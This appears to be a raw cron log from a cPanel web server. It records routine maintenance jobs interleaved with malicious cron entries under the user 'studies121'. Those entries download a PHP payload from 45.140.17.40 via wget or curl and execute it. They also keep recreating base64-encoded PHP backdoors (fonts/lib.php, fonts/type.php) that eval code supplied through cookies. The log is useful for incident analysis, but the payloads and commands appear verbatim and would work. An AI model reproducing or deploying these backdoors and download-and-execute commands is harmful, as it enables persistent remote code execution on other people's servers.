Sep  2 09:48:01 ip-184-168-122-23 CROND[24998]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:48:01 ip-184-168-122-23 CROND[24997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:49:01 ip-184-168-122-23 CROND[25089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:49:01 ip-184-168-122-23 CROND[25091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:49:01 ip-184-168-122-23 CROND[25092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:49:01 ip-184-168-122-23 CROND[25093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:50:01 ip-184-168-122-23 CROND[25219]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 09:50:01 ip-184-168-122-23 CROND[25223]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:50:01 ip-184-168-122-23 CROND[25224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:50:01 ip-184-168-122-23 CROND[25226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:50:01 ip-184-168-122-23 CROND[25227]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:50:01 ip-184-168-122-23 CROND[25225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:50:01 ip-184-168-122-23 CROND[25229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:50:01 ip-184-168-122-23 CROND[25228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:50:01 ip-184-168-122-23 CROND[25230]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 09:51:02 ip-184-168-122-23 CROND[25434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:51:02 ip-184-168-122-23 CROND[25436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:51:02 ip-184-168-122-23 CROND[25435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:51:02 ip-184-168-122-23 CROND[25437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:52:01 ip-184-168-122-23 CROND[25542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:52:01 ip-184-168-122-23 CROND[25545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:52:01 ip-184-168-122-23 CROND[25547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:52:01 ip-184-168-122-23 CROND[25544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:52:01 ip-184-168-122-23 CROND[25546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:53:01 ip-184-168-122-23 CROND[25643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:53:01 ip-184-168-122-23 CROND[25645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:53:01 ip-184-168-122-23 CROND[25647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:53:01 ip-184-168-122-23 CROND[25646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:54:01 ip-184-168-122-23 CROND[25775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:54:01 ip-184-168-122-23 CROND[25778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:54:01 ip-184-168-122-23 CROND[25779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:54:01 ip-184-168-122-23 CROND[25777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:54:01 ip-184-168-122-23 CROND[25780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:55:01 ip-184-168-122-23 CROND[25919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:55:01 ip-184-168-122-23 CROND[25920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:55:01 ip-184-168-122-23 CROND[25917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:55:01 ip-184-168-122-23 CROND[25922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:55:01 ip-184-168-122-23 CROND[25918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:55:01 ip-184-168-122-23 CROND[25923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:56:01 ip-184-168-122-23 CROND[26128]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:56:01 ip-184-168-122-23 CROND[26131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:56:01 ip-184-168-122-23 CROND[26133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:56:01 ip-184-168-122-23 CROND[26130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:56:01 ip-184-168-122-23 CROND[26132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:57:01 ip-184-168-122-23 CROND[26266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:57:01 ip-184-168-122-23 CROND[26268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:57:01 ip-184-168-122-23 CROND[26269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:57:01 ip-184-168-122-23 CROND[26270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:58:01 ip-184-168-122-23 CROND[26367]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:58:01 ip-184-168-122-23 CROND[26369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:58:01 ip-184-168-122-23 CROND[26371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:58:01 ip-184-168-122-23 CROND[26370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:58:01 ip-184-168-122-23 CROND[26373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:59:01 ip-184-168-122-23 CROND[26472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:59:01 ip-184-168-122-23 CROND[26473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:59:01 ip-184-168-122-23 CROND[26475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:59:01 ip-184-168-122-23 CROND[26478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:00:01 ip-184-168-122-23 CROND[26620]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 10:00:01 ip-184-168-122-23 CROND[26621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:00:01 ip-184-168-122-23 CROND[26625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:00:01 ip-184-168-122-23 CROND[26628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:00:01 ip-184-168-122-23 CROND[26631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:00:01 ip-184-168-122-23 CROND[26634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:00:01 ip-184-168-122-23 CROND[26632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:00:01 ip-184-168-122-23 CROND[26636]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 10:00:01 ip-184-168-122-23 CROND[26635]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
